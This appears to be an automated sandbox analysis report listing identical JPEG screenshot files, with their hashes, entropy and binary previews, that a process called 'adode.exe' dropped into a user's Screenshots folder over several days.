Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250114_092508.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250116_151546.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250116_173533.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250116_195537.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250116_230335.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250117_013415.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250117_031848.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250119_082647.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250119_102525.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250119_124056.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250119_155321.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250119_175800.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250119_205307.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250119_234827.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250120_021010.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250120_045937.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250122_095024.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
